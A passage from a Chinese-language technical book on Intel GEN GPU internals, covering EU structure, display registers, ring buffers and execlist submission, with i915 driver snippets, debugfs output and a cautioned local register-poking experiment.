768KB,可以缓存普通的数据,也可以用作共享内存,也就是在算核函
数中定义的具有共享属性(shared)的变量。
11.2.3 子片布局
在GEN GPU中,比片区更小的下一级组织单位叫子片
(subslice)。一个片区可以包含一个或多个子片。对于大多数的Gen9
GPU,每个片区包含3个子片,也就是图11-5所示的情况。
图11-6展示了Gen9 GPU中每个子片的结构,中间的主体部分是8个
EU,稍后会详细介绍。8个EU上面是本地线程分发器和指令缓存。每个
EU可以同时执行7个线程,一个子片中有8个EU,因此一个子片最多可
以同时执行56个线程。本地线程分发器负责把需要执行的线程分发到合
适的EU和流水线。
图11-6 Gen9 GPU中每个子片的布局
图11-6下方,画出了子片中的另外两个共享设施,左边是采样器
(sampler),右边是数据端口(Data Port)。二者都是用来访问内存
的,但是采样器专门用来访问只读的数据,因此它不需要考虑数据变化
带来的数据同步问题。为了提高访问速度,其内部配备了专用的高速缓
存,分L1和L2两级组织。此外,采样器还支持数据解压缩和格式转
换,可以从不同格式的纹理(texture)和平面(surface)结构中获取数
据。数据端口用于读写各种类型的通用数据缓冲区,以及所属片区上的
共享内存。
每个子片包含的EU数量是个很重要的设计决定。在Gen7.5中,每
个子片包含10个EU,Gen8和Gen9中降为8个。不过需要说明的是,这里
说的是设计数量,因为生产过程中的某些问题,有些EU可能因为存在
瑕疵而被禁用,所以实际产品中,每个子片中的EU数量可能是小于设
计数量的。比如,在称为GT1.5F的Gen9 GPU中,每个子片的8个EU中
有两个被禁用,也就是使用熔断(fuse)技术排除掉,余下的EU还有
3×6 = 18个。
11.2.4 EU
下面介绍Gen9 GPU中最重要的基础构件——EU。EU是现代GPU的
灵魂和主角,是产生算力并为用户创造价值的核心部分。与其相比,很
多公共设施都是为这个主角提供支持的。夸张一点说,上面费了不少笔
墨,却全是铺垫,现在终于到了主角出场的时候。
那么,EU到底是什么样的呢?与Nvidia的CUDA核和AMD的CU相
比,它有哪些根本不同呢?要理解这些问题,需要先了解EU的基本结
构,如图11-7所示。
图11-7 Gen9 GPU的EU
如何理解图 11-7 呢?首先,中间主体部分是寄存器文件,分为7行
2列。7行代表7个线程,每个线程有自己的寄存器。两列代表寄存器的
两种类型,第一列代表128个256位的通用寄存器,第二列代表架构寄存
器。
解释一下图11-7中的标签,其中,SIMD8代表以8通道方式执行
SIMD(单指令的数据)指令,每一通道的数据宽度为32位。8个通道刚
好是32×8 = 256位。每个线程有128个寄存器,再乘以7个线程,那么每
个EU中的所有通用寄存器大小加起来就是28KB。在芯片设计时,寄存
器空间是统一组织的,好像是一个文件。所以第1列称为通用寄存器文
件(GRF)。第二列寄存器是ARF,意思是架构寄存器文件,其中,寄
存器代表GEN架构的特征,是架构基因的一部分。架构寄存器是专门用
于某一用途的,比如cr0为控制寄存器,sr0为状态寄存器,ip为程序指
针寄存器等,这将在11.8节专门介绍。
继续解说图11-7,寄存器的左边是取指单元,用于读取指令。寄存
器右侧先是线程仲裁器,然后是4个功能单元(function unit)。
简单来说,4个功能单元就是4个执行指令的“车间”。其中两个用于
执行各种算术指令,名叫SIMD FPU。这里的SIMD代表支持以单指令多
数据方式执行各种计算操作,名副其实。但名字中的FPU是不准确的,
因为这一对功能单元既支持浮点数,也支持整数。
下面介绍另外两个功能单元。其中一个叫发送(Send)单元,用于
执行内存访问指令、采样操作以及延迟较大的并且与其他部件通信的指
令。另一个叫分支(Branch)单元,用于执行各种分支(divergence)
和聚合(convergence)操作。
因为寄存器部分支持7个线程,而功能单元只有4个,所以线程仲裁
器负责从7个线程中选取处于就绪(ready)状态的线程,然后把它的指
令发射到4个功能单元之一。理想情况下,有4个线程在并行执行各自的
指令。在图11-7中,寄存器和线程仲裁器之间的4个箭头代表从7个线程
中选取4个并执行。
讲到这里,熟悉英特尔CPU微架构的读者可能觉得EU的线程结构
和英特尔CPU的超线程技术类似。在超线程技术中,每个线程的执行状
态(寄存器)是独立的,但是执行资源是共享的,每个核心中有两个超
线程,共享一套执行资源。在EU中,7个线程共享4个执行功能单元。
了解了EU的基本结构后,再做些补充和思考。首先,每个EU中的
线程数量在不同版本的设计中可能不同,在G965(Gen4)中,每个EU
包含4个线程。
其次,EU与CUDA核心如何比较呢?这是个敏感而且容易引起争议
的问题。从寄存器资源角度比较,每个EU有28KB的通用寄存器文件,
每个线程4KB,这刚好与V100 GPU的每个CUDA核心(FP32)的寄存
器文件大小相同。参见本书表9-2,在特斯拉V100中,每个SM有32个
CUDA核心,共用256KB寄存器文件,平均每个CUDA核心的寄存器文
件也是4KB。从支持的逻辑线程上来看,每个EU支持7个独立的线程。
每个CUDA核心支持一个独立的线程(一套执行状态和寄存器)。因
此,从上面两个角度来看,EU的每个线程和CUDA核心大体相当。
说到这里,读者可能觉得,Nvidia很会商业宣传,对外高调宣传
GPU中的CUDA核心的数量,常常数百上千。相对而言,英特尔对外宣
传的是EU数量,通常都是两位数。对普通用户来说,根本不知道1个EU
中有多少个线程,只是简单用数字比较。对于这个问题,不知道英特尔
的产品经理们是如何想的。
老雷评点
曲笔,故意取不相干人背锅,指桑骂槐。
11.2.5 经典架构图
按从大到小的顺序,上文简要介绍了GEN GPU的微架构,从总体
结构深入到EU的内部。作为总结,这里再返回总体结构。图11-8是来自
G965 PRM卷1的插图。虽然十几年过去了,GEN架构已经有了很大的发
展,但是这幅架构图的绝大部分对于目前的GEN GPU还是适用的,所
以我们称其为经典架构图。
这幅架构图里包含的三大功能块至今没变,即3D、媒体(Media)
和GPGPU。因为GPGPU部分相对独立,所以图中称其为子系统,这个
名字在后来的PRM中依然使用。子系统部分既可以直接对外提供计算服
务,也可以供媒体和3D部分使用。
图11-8 GEN GPU的经典架构图(从G965开始)
从软件接口的角度来看,命令流处理器(Command Streamer)负责
接收来自软件的命令,然后分发给内部的流水线。有一条特殊的命令,
用来选择要使用的流水线,这条命令称为PIPELINE_SELECT,其详细
定义可以在PRM文档中找到。这条命令的最低两位代表要选择的流水
线:00b代表3D,01b代表Media,10b代表GPGPU。
11.3 寄存器接口
如第8章所述,设备寄存器是CPU与显卡和GPU沟通的一种经典方
式,始于VGA时代,一直使用到今天。对英特尔集成显卡而言,虽然硬
件的“住所”几经变迁,从AGP设备到北桥,又从北桥搬迁到CPU中,但
对软件而言,访问寄存器的方式都是一样的。
11.3.1 两大类寄存器
按照访问方式,可以把显卡的寄存器分成两大类。一类是以I/O端
口方式访问的,或者说是通过x86 CPU的in/out指令来访问的。这种方式
比较陈旧,速度较慢,因此只有早期VGA标准的寄存器还使用这种方
式。另一类是内存映射方式,也叫“映射到内存空间的输入输
出”(Memory Mapped Input/Output,MMIO)。
打开设备管理器,找到显卡设备,双击打开“属性”对话框。在资源
部分,就可以观察它的输入/输出资源,以下是作者写作本书内容时所
用笔记本电脑上HD 620(Gen9.5)GPU的资源使用情况。
内存地址 0xD4000000~0xD4FFFFFF
内存地址 0xB0000000~0xBFFFFFFF
内存地址 0xA0000~0xBFFFF
I/O 端口 0x0000F000~0x0000F03F
I/O 端口 0x000003B0~0x000003BB
I/O 端口 0x000003C0~0x000003DF
上面的地址都是物理地址。前三行是MMIO空间,后三行是I/O空
间。在前三行中,第1行是处理器显卡的寄存器空间,大小为16MB。第
2行是用来与GPU交换其他数据的,CPU通过读写这个空间来访问显卡
的显存。如果显存很大,超过了这个空间的大小,那么要把需要访问的
部分映射到这个空间。形象地说,这个空间就好像一个窗口,让CPU可
以瞭望到GPU的显存空间,也有些像照相机的光圈,光圈打开,让光线
通过,便可以看到景物。同时因为这个空间是通过PCI标准来动态商定
的,所以又叫“PCI光圈”(PCI Aperture),其最大值受PCI标准的限
制。第3行是VGA标准定义的帧缓冲区(Frame Buffer)空间,其内容与
屏幕上的内容(字符或者像素)是一一对应的。DOS时代的直接写屏技
术就是直接写这段内存,根据显示模式写不同的地址区间。
11.3.2 显示功能的寄存器
显示是显卡最初的功能,已经非常成熟和稳定。显示功能主要是通
过寄存器接口来配置的。
虽然后来版本的 PRM 也用较长的篇幅介绍显示功能,但从学习的
角度来讲,经典的G965 PRM卷3是非常好的入门资料。
该卷的标题叫“显示寄存器”(Display Registers),共有6章,第1章
是简介,后面5章分门别类地描述了不同功能的显示寄存器。
本着以点带面的思想,我们选取著名的PIPEACONF寄存器来教读
者阅读PRM,理解显示寄存器的工作原理。
打开PDF格式的PRM,搜索PIPEACONF,找到该寄存器的定义页
面。寄存器的描述信息大多包含两部分,首先是概要描述,然后是位定
义表格,其中包含寄存器每一位的详细定义。比如,下面是
PIPEACONF寄存器的概要信息。
PIPEACONF—Pipe A Configuration Register
Memory Offset Address: 70008h
Default: 00000000h
Normal Access: Read/Write double buffered
第一行的前半部分是寄存器名(简称),然后是简单描述,意思是
显示通道A的配置寄存器。通道是英特尔显卡显示模块中的一个重要概
念,是Plane – Pipe – Port三级架构的中间一级。简单地说,Plane代表显
示平面,Port是显示端口,比如VGA、DVI等。平面和端口都可能是多
![H:\wxd版式-2\YDS\18-1089-陈冀康\图标3.tif{20%
个,管道的作用是把显示平面上的数据传输到显示端口,好像一个管道
一样。因为每一级都可能有多个对象,所以需要软件来做配置。上面这
个寄存器就是用来配置通道A的。
第二行是这个寄存器的偏移地址,它是相对于上面介绍的寄存器空
间基地址的偏移量。第三行是默认值。第四行是允许的访问方式,这个
寄存器可以读也可以写,而且是双重缓存的,意思是软件可以随时写这
个寄存器,写的是寄存器的一份(软)拷贝,硬件单元正在使用的是另
一份。当某一事件发生时,会把软件写的内容同步到硬件中。常见的触
发事件是VBLANK,有时也称垂直同步信号(VSync),一般在显示电
路刷新好一帧内容后产生,通知更新下一帧画面。
]
(/api/storage/getbykey/original?key=1811aa8b7b8736ac09bf) 格物致知!!} 下面通过一个试
验来深入理解这个寄存器的功能。因为这个试验有些“危险”,可能导致计算机无法显
示,所以不建议模仿。倘若打算模仿,请先通读本节以下内容并深刻理会每个步骤。
在作者写作本书时使用的一台台式机上,首先记下处理器显卡
(HD 630,与上面的笔记本所用显卡略有不同)寄存器空间的起始地址
0xF6000000,然后在本地内核调试会话中观察PIPEACONF寄存器,结
果如下。
lkd> !dd f6000000+70008 L4
#f6070008 c0000000 00000000 00000000 00000000
#f6070018 00000000 00000000 04000000 00000000
第一列是地址。第二列便是PIPEACONF寄存器的值,即
c0000000。参考PRM,第31位为1,代表该通道是启用的(Pipe A
Enable),第30位也为1,代表该通道的实际状态(Pipe State)确实是
已经启用的。
接下来,到了惊险的时刻(对于大胆的模仿者,请保存工作文件,
做好显示器无法显示而要强制重启计算机的准备)。使用!ed命令来直
接编辑物理内存,修改寄存器,禁止通道A。
!ed f6000000+70008 00000000
通过键盘输入上述命令,眨眼之间,显示器变得一团漆黑。再按什
么键,都不知道是什么结果了,因为显示器无法正常显示了。
接下来,最简单的恢复方法就是长按电源按钮重启系统了。在几年
前的软硬件环境下,屏幕暗了一会儿后,会再变亮,因为有某事件触发
显卡驱动重新启用显示管道,不知何时,那部分执行重复操作的代码被
优化掉了。
在写作本书内容的时候,作者想出了一种使屏幕重新变亮的方法。
在执行上述写0的命令前,先执行几次下面的启用命令。
!ed f6000000+70008 80000000
然后执行禁止写0的命令,待屏幕关掉后,要在黑暗中沉着冷静地
按两次向上的方向键,调出前面执行过的启用命令,然后按Enter键。这
样,屏幕便变亮了。
老雷评点
古有读书之乐,穿越时光,悟古人心境;今有调试之乐,电
波传语,与硅片对谈。
11.4 命令流和环形缓冲区
上一节介绍的寄存器接口具有简单直接的优点,但是也有一些局限
性,比如每次传递的数据有限。另外,每次一般只能执行一个操作,不
能成批提交任务。为了弥补这些不足,今天的GPU都支持以命令流
(Command Stream)的形式来接收任务。运行在CPU上的软件先把命令
写到命令缓冲区(Command Buffer),然后再把准备好的缓冲区提交给
GPU执行。因为GPU一般通过DMA(直接内存访问)方式读取命令
流,所以命令缓冲区一般也称为DMA缓冲区。另外,因为缓冲区里一
般包含多条命令,像批处理文件一样,所以它也称为“批缓冲
区”(Batch Buffer)。
11.4.1 命令
在经典的G965 PRM卷1中,第4章介绍了GEN GPU的命令格式。
首先,命令的长度是不固定的,但都是DWORD(双字,32位)的
整数倍。其次,命令的格式也是不固定的,但第一个DWORD总是命令
头(header)。命令头的最高3位是统一定义的,是唯一的公共字段,这
个字段的名字在G965 PRM中称为用户(client)字段,后来的手册把它
称为指令类型(instruction type)字段,本书将其称为命令类型,以便
与GEN EU的指令相区分。
命令类型字段一共有三位,最多支持8种类型(对应数字0~7)。
G965定义了4种,分别表示为0~3,其中,0代表内存接口(Memory
Interface,MI),1代表杂项,2代表2D渲染和位块操作,简称BLT,3
代表3D、媒体和GPGPU,简称GFXPIPE。在这些类型中,4~7保留未
用。
举例来说,在公开的i915驱动中,代表PIPELINE_SLECT命令的常
量是这样定义的。
#define PIPELINE_SELECT ((0x3<<29)|(0x1<<27)|(0x1<<24)|(0x4<<16))
其中,0x3便是命令类型字段,紧随其后的1代表命令子类型
(command subtype),再后面的0x1代表命令的操作码(opcode),最
后面的0x4代表子操作码(sub-opcode)。这个命令的最低两位是可变
的,0用来选择3D流水线,1用来选择媒体流水线,2用来选择GPGPU。
在i915驱动的cmd_parser.c中,OP_3D_MEDIA宏包含了3D类命令的
通用格式,如下所示。
/* 3D/Media Command: Pipeline Type(28:27) Opcode(26:24) Sub Opcode(23:16)
*/
#define OP_3D_MEDIA(sub_type, opcode, sub_opcode) \
((3 << 13) | ((sub_type) << 11) | ((opcode) << 8) | (sub_opcode))
宏中的移位次数是相对于双字的高16位而言的,加上16便与
PIPELINE_SELECT宏一致了。
在从SKLYLAKE开始的多卷本PRM中,篇幅最长的卷2就是用来描
述GPU命令的,分为a、b、c、d 四个部分,a部分的篇幅最长,名为
《命令参考:指令(命令操作码)》,详细描述每一条命令的操作码
(command opcode)定义,也就是命令的命令头部分。b、d两个部分分
别描述命令相关的枚举定义和数据结构。
在流行的显卡驱动模型(WDDM和DRM)中,一般由用户模式驱
动程序(UMD)来准备命令,命令放在特别分配的批缓冲区(Batch
Buffer)中。在驱动代码里常将批缓冲区简称为BB。准备好的批缓冲区
会通过图形软件栈提交到内核空间。内核模式的图形核心软件
(DXGKRNL或者DRM)会与内核模式的驱动程序(KMD)对批缓冲
区中的命令进行验证,对其中的资源引用进行重定位(relocation)或者
修补(patching),最后再提交给硬件。提交给硬件的方式有多种,下
面先介绍经典的环形缓冲区方法。
11.4.2 环形缓冲区
环形缓冲区(Ring Buffer)是向GPU提交命令流的一种经典方式。
从通信的角度来讲,可以把它看作CPU和GPU之间的一个共享内存区。
CPU端的软件向里面写命令,一次可以写很多条,形成一个命令流,准
备好后,通过寄存器接口告诉GPU命令流的起始和结束位置,让GPU开
始执行。GPU执行一批命令时,CPU可以准备下一批,二者并行合作。
进一步说,环形缓冲区就是一段内存区,为了便于让GPU和CPU都
可以访问,一般将其分配在GPU的PCI光圈(PCI Aperture)空间中,也
就是前面提到的MMIO空间。这样,只要将其映射到CPU端的线性地
址,驱动程序便可以直接访问了。在i915驱动的intel_init_ring_buffer函
数中可以看到初始化的代码。
ring->virtual_start =
ioremap_wc(dev_priv->gtt.mappable_base + i915_gem_obj_ggtt_offset(
obj),
ring->size);
其中,mappable_base是可映射到CPU端的MMIO基地址(物理地
址),obj是函数i915_gem_object_create_stolen或者
i915_gem_alloc_object创建的环形缓冲区对象。
从数据结构的角度来讲,除了用于存放命令流的线性内存区之外,
环形缓冲区还有一个描述缓冲区状态的数据结构,包括环形缓冲区的起
始地址、长度,以及当前有效部分的头尾偏移量,如图11-9所示。
图11-9 环形缓冲区示意图(来自G965 PRM 12.3.4节)
环形缓冲区结构体的具体定义大同小异,下面是Linux源代码树中
i810驱动(名字源于Gen0)的定义。
typedef struct _drm_i810_ring_buffer {
int tail_mask;
unsigned long Start;
unsigned long End;
unsigned long Size;
u8 *virtual_start;
int head;
int tail;
int space;
drm_local_map_t map;
} drm_i810_ring_buffer_t;
其中,Start和End用于描述环形缓冲区的起始和结束位置,是相对
于MMIO空间基地址的偏移量。以下语句用于给Start字段赋值。
dev_priv->ring.Start = init->ring_start;
其中,init是初始化用的结构体指针参数。
接下来的virtual_start是映射后的虚拟地址,也就是把物理地址
(dev->agp->base + init->ring_start)映射到线性地址。最后的map字段
是用于描述映射信息的。以下是初始化map结构体和调用内存映射函数
的代码。
dev_priv->ring.map.offset = dev->agp->base + init->ring_start;
dev_priv->ring.map.size = init->ring_size;
dev_priv->ring.map.type = _DRM_AGP;
dev_priv->ring.map.flags = 0;
dev_priv->ring.map.mtrr = 0;
drm_core_ioremap(&dev_priv->ring.map, dev);
其中,init->ring_start的值等于Start字段。
中间的head和tail字段用于描述当前正在使用的命令流,head用于描
述开头,tail用于描述结尾,二者都是相对于Start的偏移量。
最后再介绍一下space字段,它代表环形缓冲区上的空闲空间大
小,是通过以下公式计算的。
ring->space = ring->head - (ring->tail + 8);
if (ring->space < 0)
ring->space += ring->Size;
在i915驱动中,也有一个与drm_i810_ring_buffer_t类似的结构体,
名叫intel_ringbuffer,位于intel_ringbuffer.h中,由于篇幅所限,不再详
述。
11.4.3 环形缓冲区寄存器
上面介绍的数据结构是CPU端代码使用的。在GPU端,Gen以寄存
器的形式来报告环形缓冲区接口。它使用了4个寄存器,分别为:尾偏
移、头偏移、起始地址和控制寄存器。下面是i915驱动中的对应宏定
义。
#define RING_TAIL(base) _MMIO((base)+0x30)
#define RING_HEAD(base) _MMIO((base)+0x34)
#define RING_START(base) _MMIO((base)+0x38)
#define RING_CTL(base) _MMIO((base)+0x3c)
其中,base是宏的参数,目的是复用这套宏描述Gen的多个环形缓
冲区。以下是定义base的几个宏。
#define RENDER_RING_BASE 0x02000
#define BSD_RING_BASE 0x04000
#define GEN6_BSD_RING_BASE 0x12000
#define GEN8_BSD2_RING_BASE 0x1c000
#define VEBOX_RING_BASE 0x1a000
#define BLT_RING_BASE 0x22000
其中,RENDER_RING_BASE是着色器引擎的,BLT_RING_BASE
是2D位块操作的,VEBOX_RING_BASE是视频增强引擎(Video
Enhancement Engine)的,其他几个都是视频引擎的,BSD是BitStream
Decoder的缩写。
从上述定义可以看出,目前的Gen GPU支持多个环形缓冲区,每个
执行引擎都有自己的命令接收器和环形缓冲区,这样主要是了为了避免
单一的环形缓冲区成为CPU和GPU之间的瓶颈,避免千军万马过独木
桥。
11.5 逻辑环上下文和执行列表
随着GPU应用的增多,让系统中的多个应用可以“同时”使用GPU成
为一个重要目标。这里的“同时”故意加上引号,表示多个应用以分时间
片的方式轮番使用GPU,与CPU上的多任务类似,表面上看好像多个任
务同时在运行。要做到这一点,就必须让GPU也支持较低粒度的抢先式
调度,也就是当有新的重要任务要运行时,可以“立刻”打断当前的任
务,迅速切换到新的任务。
为了实现这个目标,2014年推出的Gen8引入了一种新的方式来给
GPU下达任务,称为逻辑环上下文和执行列表(Logical Ring Context
and Execlist)。简单来说,CPU端要为每个GPU任务准备一个规定格式
的结构体,称为逻辑环上下文(Logical Ring Context,LRC)。与CPU
上的线程上下文结构体类似,LRC中记录GPU任务的详细运行状态。当
需要运行一个任务时,只要把它的LRC发送到相应执行引擎的执行列表
提交端口(ExecList Submit Port,ELSP)即可。提交时会附带一个全局
唯一的提交标志(ID),用于识别这个任务。提交ID的长度是20位。
11.5.1 LRC
与CPU的线程上下文类似,LRC是GPU引擎执行状态的一份副本。
Gen有多个执行引擎,每个引擎的LRC格式是不同的。在《Gen编程手
册》的卷7(3D-Media-GPGPU Engine)中,描述了LRC的格式,其位
置为Render Command Memory Interface → Render Engine Logical Context
Data → Register/State Context。
以Gen8渲染引擎(Render Engine)的LRC为例,它包含了20个内存
页,共有80KB,分为以下三个部分。
与进程相关的(Per-Process)硬件状态页,大小为4KB。
环形缓冲区上下文,包括环形缓冲区寄存器的状态、页目录指针
等。
引擎上下文,用于记录流水线状态、非流水线状态和统计信息等。
通过i915驱动的i915_dump_lrc虚拟文件,可以让i915驱动(函数名
为i915_dump_lrc_obj)帮我们把环形缓冲区上下文对应的内存页映射到
CPU端,并显示它的内容。清单11-1是其中的一部分。软件环境为Linux
4.13内核,GPU是KabyLake(Gen9.5)。
清单11-1 环形缓冲区上下文
CONTEXT: rcs0 0
Bound in GGTT at 0xfffe7000
[0x0000] 0x00000000 0x1100101b 0x00002244 0xffff000a // LRI头和CTX_CTRL
[0x0010] 0x00002034 0x00000448 0x00002030 0x00000448 // 环的头和尾
[0x0020] 0x00002038 0x00001000 0x0000203c 0x00003001 // 环的起始和控制
[0x0030] 0x00002168 0x00000000 0x00002140 0xfffdddd8 // BB_ADDR
[0x0040] 0x00002110 0x00000000 0x0000211c 0x00000000 // BB_STATE
[0x0050] 0x00002114 0x00000000 0x00002118 0x00000000 // 第二个BB
[0x0060] 0x000021c0 0xffffe081 0x000021c4 0xffffe002 // BB_PER_CTX_PTR
[0x0070] 0x000021c8 0x00000980 0x00000000 0x00000000
[0x0080] 0x00000000 0x11001011 0x000023a8 0x00000293 // CTX_TIMESTAMP
[0x0090] 0x0000228c 0x00000000 0x00002288 0x00000000 // PDP3
[0x00a0] 0x00002284 0x00000000 0x00002280 0x00000000 // PDP2
[0x00b0] 0x0000227c 0x00000000 0x00002278 0x00000000 // PDP1
[0x00c0] 0x00002274 0x00000002 0x00002270 0x22844000 // PDP0
[0x00d0] 0x00000000 0x00000000 0x00000000 0x00000000
[0x00e0] 0x00000000 0x00000000 0x00000000 0x00000000
[0x00f0] 0x00000000 0x00000000 0x00000000 0x00000000
[0x0100] 0x00000000 0x11000001 0x000020c8 0x80000088
[0x0110] 0x61040001 0x00000000 0x00000000 0x00000000 // GPGPU CSR基地址
[0x0120] 0x00000000 0x00000000 0x00000000 0x00000000
[0x0130] 0x00000000 0x00000000 0x00000000 0x00000000
[0x0140] 0x00000000 0x11001057 0x00002028 0xffff0000
[0x0150] 0x0000209c 0xfeff0000 0x000020c0 0xffff0000
[0x0160] 0x00002178 0x00000001 0x0000217c 0x00145855
[0x0170] 0x00002358 0x138a36f8 0x00002170 0x00000000
结合i915驱动中的intel_lrc.c和PRM,可以了解清单11-1中常用字段
的含义。其中,第一行的第一个DWORD是NOOP命令,第二个
DWORD是Load_Register_Immediate(LRI)命令的命令头,其后的若干
行都是“寄存器地址+寄存器取值”的形式。可以认为GPU在加载这个上
下文时会先执行NOOP命令,然后执行LRI命令。在执行LRI命令时便会
把随后的寄存器内容加载到寄存器中。
第2行和第3行便是环形缓冲区寄存器的信息,分别是4个寄存器
(即环的头、尾、起始和控制寄存器)的地址和取值。
随后的三行描述两套批缓冲区(BB)的状态,每套有三个寄存
器,分别是BB_ADDR_UDW(高的DWORD)、BB_ADDR(低的
DWORD)和BB_STATE。从0x90开始的4行都是关于页目录信息的,
PDP代表页目录指针(Page Directory Pointer)。如果要了解上述寄存器
的详细定义,快捷方法是打开PRM卷2的c部分(比如skl-vol02c-
commandreference-registers-part1.pdf),然后搜索寄存器的地址。
11.5.2 执行链表提交端口
等待执行的LRC一般是以链表的形式放在队列里的,这个链表有时
称为执行链表(ExecList),也叫运行链表(RunList)。Gen公开了一
个名为执行链表提交端口(ExecList Submit Port,ELSP)的寄存器,用
于接收要执行的LRC。为了提高吞吐率,Gen的4个执行引擎都有自己的
ELSP寄存器,而且每个ELSP寄存器内部都有一对端口,可以接收两个
LRC。提交的方法是把LRC的描述符写到ELSP寄存器,先写LRC 1的描
述符,再写LRC 0的描述符。
11.5.3 理解LRC的提交和执行过程
观察i915驱动的虚拟文件是理解执行链表提交过程的一种好方法。
在Ubuntu的终端窗口中先切换到su身份,然后转移到i915驱动的debugfs
文件夹,便可以使用cat命令观察了。
# sudo su
# cd /sys/kernel/debug/dri/0
# cat i915_gem_request && cat i915_engine_info
第三条命令是关键,前一个cat显示请求队列,gem是GPU Engine
Manager的缩写,代表i915驱动中管理执行引擎的部分,后一个cat显示
执行引擎的状态。把两个cat命令连在一起提交是为了缩短二者之间的时
间差,让两条命令显示的信息尽可能接近同一时间点。
我们先解读任务较少时的简单结果,再看复杂情况。清单11-2是在
Ubuntu系统启动后没有运行其他应用软件时的结果。前两行是
i915_gem_request的内容,第3行起是i915_engine_info的内容,后者会显
示4个执行引擎的状态。为了节约篇幅,这里只截取渲染引擎的部分。
清单11-2 渲染引擎的请求队列和执行状态(简单情况)
root@gedu-i7:/sys/kernel/debug/dri/0# cat i915_gem_request && cat i915_eng
ine_info
rcs0 requests: 1
dc9 [4:807] prio=2147483647 @ 12ms: compiz[1955]/1
GT awake? yes
Global active requests: 1
rcs0
current seqno dc9, last dc9, hangcheck d7b [11688 ms], inflight 1
Requests:
first dc9 [4:807] prio=2147483647 @ 12ms: compiz[1955]/1
last dc9 [4:807] prio=2147483647 @ 12ms: compiz[1955]/1
RING_START: 0x00031000 [0x00000000]
RING_HEAD: 0x00000620 [0x00000000]
RING_TAIL: 0x00000620 [0x00000000]
RING_CTL: 0x00003000 []
ACTHD: 0x00000000_02000620
BBADDR: 0x00000000_0b31c59c
Execlist status: 0x00000301 00000000
Execlist CSB read 5, write 5
ELSP[0] idle
ELSP[1] idle
清单11-2中,第1行的rcs0是执行引擎的简称,即渲染引擎命令流化
器(Render Command Streamer)的缩写,0代表0号,因为系统中只有一
个,其意义不大。后面是活跃的请求数:1个。接下来是请求的概要信
息,是通过print_request函数显示的,其核心代码如下。
drm_printf(m, "%s%x%s [%x:%x] prio=%d @ %dms: %s\n", prefix,
rq->global_seqno,
i915_gem_request_completed(rq) ? "!" : "",
rq->ctx->hw_id,
rq->fence.seqno,
rq->priotree.priority,
jiffies_to_msecs(jiffies - rq->emitted_jiffies),
rq->timeline->common->name);
第1列是描述性的前缀,比如first和last等。第2列是全局的流水号,
每个引擎独立维护,单调递增,可以通过cat i915_gem_seqno来观察其
详情。第3列可能为空或者显示一个惊叹号,惊叹号代表已经完成,一
般完成了就会被移除队列,很少会看到。第4列是LRC的硬件ID。第5列
是用于与硬件同步的栅栏ID(fence ID)。第6列是优先级。第7列为排
队时间,即从发射到软件队列时起到观察时的时间差,单位为毫秒。最
后一列为提交任务的进程名。
也就是说,清单11-2中只有一个任务在队列中,是Ubuntu的窗口合
成器进程compiz的,它的进程ID为1955。
下面解说engine_info的概要行。
current seqno dc9, last dc9, hangcheck d7b [11688 ms], inflight 1
其含义为:当前正在执行的是dc9号请求,最后一次提交的也是这
个请求,最近一次做挂起检查时执行的请求是d7b号(engine-
>hangcheck.seqno),检查的时间(engine-
>hangcheck.action_timestamp)在11688ms前,飞行(活跃)状态的请求
一共有1个。
Requests下是第一个请求和最近一次提交的请求,二者都是dc9号。
随后的4行是关于环形缓冲区的,每行三列。第1列为名称。第2列
是通过下面这样的代码从硬件读到的值。
I915_READ(RING_START(engine->mmio_base))
第3列是活跃请求上下文结构体中的值。当时没有活跃请求,所以
显示为0或空。
最后两行是ELSP端口的状态,因为唯一的请求正在执行,目前两
个端口都空闲,所以没有任务在排队。
接下来再看一个GPU很忙碌时的输出结果。清单11-3是在执行
GpuTest程序的压力测试时得到的信息。
清单11-3 渲染引擎的请求队列和执行状态(较多大粒度任务)
rcs0 requests: 5
15a2 [2:8d4] prio=2147483647 @ 1064ms: Xorg[1067]/1
15a3 [8:19] prio=2147483647 @ 776ms: GpuTest[2365]/1
15a4 [2:8d5] prio=2147483647 @ 772ms: Xorg[1067]/1
15a5 [8:1a] prio=2147483647 @ 8ms: GpuTest[2365]/1
15a6 [2:8d6] prio=2147483647 @ 8ms: Xorg[1067]/1
GT awake? yes
Global active requests: 11
rcs0
current seqno 15a4, last 15a6, hangcheck 158d [1304 ms], inflight 11
Requests:
first 15a2 [2:8d4] prio=2147483647 @ 1064ms: Xorg[1067]/1
last 15a6 [2:8d6] prio=2147483647 @ 8ms: Xorg[1067]/1
active 15a5 [8:1a] prio=2147483647 @ 8ms: GpuTest[2365]/1
[head 10a8, postfix 1100, tail 1128, batch 0x00000000_01dcd000]
RING_START: 0x0002d000 [0x0002d000]
RING_HEAD: 0x000010e4 [0x00001000]
RING_TAIL: 0x00001128 [0x00001128]
RING_CTL: 0x00003001 []
ACTHD: 0x00000000_01dcdbbc
BBADDR: 0x00000000_01dcdbbd
Execlist status: 0x00044052 00000008
Execlist CSB read 3, write 3
ELSP[0] count=1, rq: 15a5 [8:1a] prio=2147483647 @ 8ms: GpuTest[23
65]/1
ELSP[1] count=1, rq: 15a6 [2:8d6] prio=2147483647 @ 8ms: Xorg[1067
]/1
Q 0 [2:8d7] prio=1024 @ 4ms: Xorg[1067]/1
Q 0 [2:8d8] prio=1024 @ 4ms: Xorg[1067]/1
Q 0 [4:cb1] prio=1024 @ 4ms: compiz[1955]/1
Q 0 [4:cb2] prio=1024 @ 4ms: compiz[1955]/1
Q 0 [4:cb3] prio=1024 @ 4ms: compiz[1955]/1
Q 0 [8:1b] prio=0 @ 4ms: GpuTest[2365]/1
GpuTest [2365] waiting for 15a5
清单11-3的前6行是i915_gem_request的信息,当时有5个请求,后
面是i915_engine_info的信息,显示有11个请求,意味着在两个观察点之
间新增了6个请求。当时正在执行的是15a4号,最近提交给硬件的是
15a6号,可以看到它还在ELSP端口[1]排队。在ELSP端口0上的15a5号请
求正处于活跃状态。因为GpuTest程序在频繁提交新的请求,所以可以
看到ELSP端口信息后列出了4ms前刚刚发射到软件队列里的6个新请
求。
最后再看频繁提交较小粒度任务的情况,执行GpuTest的BenchMark
测试,输出结果如清单11-4所示。
清单11-4 渲染引擎的请求队列和执行状态(较多小粒度任务)
Global active requests: 14
rcs0
current seqno bf5b3, last bf5b7, hangcheck bf5ad [24 ms], inflight 14
Requests:
first bf5af [b:be0] prio=2147483647 @ 108ms: GpuTest[6897]/1
last bf5b7 [2:4f820] prio=2147483647 @ 56ms: Xorg[1058]/1
active bf5b4 [b:be1] prio=2147483647 @ 88ms: GpuTest[6897]/1
[head 3428, postfix 3480, tail 34a0, batch 0x00000000_00a1f000]
